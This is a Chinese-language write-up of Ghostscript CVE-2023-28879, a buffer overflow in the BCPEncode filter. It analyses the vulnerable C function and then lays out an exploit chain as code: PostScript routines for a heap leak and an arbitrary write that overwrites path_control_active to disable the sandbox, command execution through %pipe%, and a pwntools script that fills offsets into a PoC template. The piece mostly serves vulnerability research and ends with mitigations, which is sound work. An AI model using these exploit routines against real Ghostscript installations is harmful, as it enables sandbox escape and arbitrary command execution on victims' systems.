Artifex Software Ghostscript漏洞分析之CVE-2023-28879
字数 1033 2025-08-18 11:36:53
Ghostscript漏洞分析:CVE-2023-28879深度解析与利用
漏洞概述
CVE-2023-28879是Artifex Software Ghostscript中的一个严重漏洞,影响10.01.0及之前版本。该漏洞存在于BCPEncode、BCPDecode、TBCPEncode和TBCPDecode组件中,允许攻击者通过精心构造的PostScript文件禁用沙箱保护机制,进而实现远程代码执行。
受影响版本
- Ghostscript@(-∞, 10.01.1)
- ghostscript@(-∞, 10.0.0~dfsg-11)
漏洞技术分析
根本原因
漏洞源于s_xBCPE_process函数中的缓冲区处理错误。当写入缓冲区的数据比总长度少一个字节时,尝试写入转义字符会导致两个字节被写入,造成缓冲区溢出。
关键函数分析
s_xBCPE_process函数位于base/sbcp.c中,主要逻辑如下:
static int s_xBCPE_process(stream_state * st, stream_cursor_read * pr,
stream_cursor_write * pw, bool last, const byte * escaped) {
const byte *p = pr->ptr;
const byte *rlimit = pr->limit;
uint rcount = rlimit - p;
byte *q = pw->ptr;
uint wcount = pw->limit - q;
const byte *end = p + min(rcount, wcount);
while (p < end) {
byte ch = *++p;
if (ch <= 31 && escaped[ch]) {
if (p == rlimit) {
p--;
break;
}
*++q = CtrlA;
ch ^= 0x40;
if (--wcount < rcount)
end--;
*++q = ch;
} else {
*++q = ch;
}
}
pr->ptr = p;
pw->ptr = q;
return (p == rlimit ? 0 : 1);
}
漏洞触发条件
- 输入数据中包含需要转义的字符(ASCII值≤31且在转义列表中)
- 缓冲区剩余空间恰好比待写入数据少一个字节
- 触发转义字符写入路径
漏洞利用技术
利用步骤概述
- 堆地址泄露:通过精心构造的过滤器链泄露堆内存信息
- 沙箱绕过:定位并覆写
path_control_active变量(禁用沙箱) - 命令执行:通过
%pipe%设备执行任意命令
详细利用过程
1. 堆地址泄露
构造特殊的PostScript代码链式调用多个过滤器:
(){}
/zlibEncode filter
/BCPEncode filter
/LZWEncode filter
/ASCII85Encode filter
/ASCIIHexEncode filter
/PSStringEncode filter
/ASCII85Encode filter
/ASCIIHexEncode filter
/ASCIIHexEncode filter
/ASCIIHexEncode filter
/ASCII85Encode filter
/ASCII85Encode filter
/ASCIIHexEncode filter
/PSStringEncode filter
/ASCIIHexEncode filter
/ASCIIHexEncode filter
/BCPEncode filter
/ASCIIHexEncode filter
/PSStringEncode filter
/MD5Encode filter
closefile
2. 定位关键结构
通过泄露的堆地址计算path_control_active变量的位置:
/leakMemory{
/leakBuffer 5000 string def
/leakMemoryFilter leakBuffer /NullEncode filter /BCPEncode filter def
createOverflow
<4343434343434343> concatstrings % s->templat
<4444444444444444> concatstrings % s->memory
<4545454545454545> concatstrings % s->report_error
<4646464646464646> concatstrings % s->min_left
1 1 80 {pop <47> concatstrings } for % s->error_string
<4848484848484848> concatstrings % s->cursor->r->ptr
leakMemoryFilter exch writestring
leakMemoryFilter flushfile
/leak leakBuffer 2176 8 getinterval def
leak reverse
} def
3. 任意地址写入
覆盖path_control_active变量:
/writewhatwhere {
createOverflow
<4343434343434343> concatstrings % s->templat
<4444444444444444> concatstrings % s->memory
<4545454545454545> concatstrings % s->report_error
<4646464646464646> concatstrings % s->min_left
1 1 80 {pop <47> concatstrings } for % s->error_string
<4848484848484848> concatstrings % s->cursor->r->ptr
exch concatstrings % (where) s->cursor->r->limit
<4444444444444444> concatstrings % s->cursor->w->limit
<4545454545454545> concatstrings % s->cbuf.
/openWriteFilter 5000 string /NullEncode filter /BCPEncode filter def
openWriteFilter exch writestring
openWriteFilter flushfile
openWriteFilter exch writestring
}def
4. 命令执行
禁用沙箱后通过%pipe%执行命令:
(%pipe%id) (w) file % 执行id命令
漏洞复现步骤
-
安装受影响版本:
tar xzvf ghostscript-10.01.0.tar.gz cd ./ghostscript-10.01.0 ./configure make make install -
生成POC:
#!/usr/bin/env python from pwn import * from sys import argv if len(argv) != 2: print("Usage: python {argv[0]} /path/to/gs_bin or libgs") exit(1) elf_path = argv[1] elf = ELF(elf_path) # 获取关键偏移量 init_addr = elf.get_section_by_name('.init').header.sh_addr system_plt_addr = elf.plt['system'] libc_plt_offset = system_plt_addr - init_addr f_addr_s_std_noseek = elf.functions["s_std_noseek"] f_addr_s_std_noseek_offset = f_addr_s_std_noseek.address - init_addr # 生成最终POC with open("final-poc.ps.template", "r") as f: final_file = f.read().strip() final_file = final_file.replace("F_ADDR_S_STD_NOSEEK_OFFSET", str(f_addr_s_std_noseek_offset)) final_file = final_file.replace("LIBC_PLT_OFFSET", str(libc_plt_offset)) with open("final-poc.ps", "w") as f: f.write(final_file) -
执行POC:
./gs -f final-poc.ps
漏洞修复
官方在10.01.1版本中修复了此漏洞。建议用户升级到最新版本,或应用官方补丁。
防御措施
- 及时更新Ghostscript到最新版本
- 对用户上传的PostScript文件进行严格过滤
- 在沙箱环境中运行Ghostscript
- 监控异常进程行为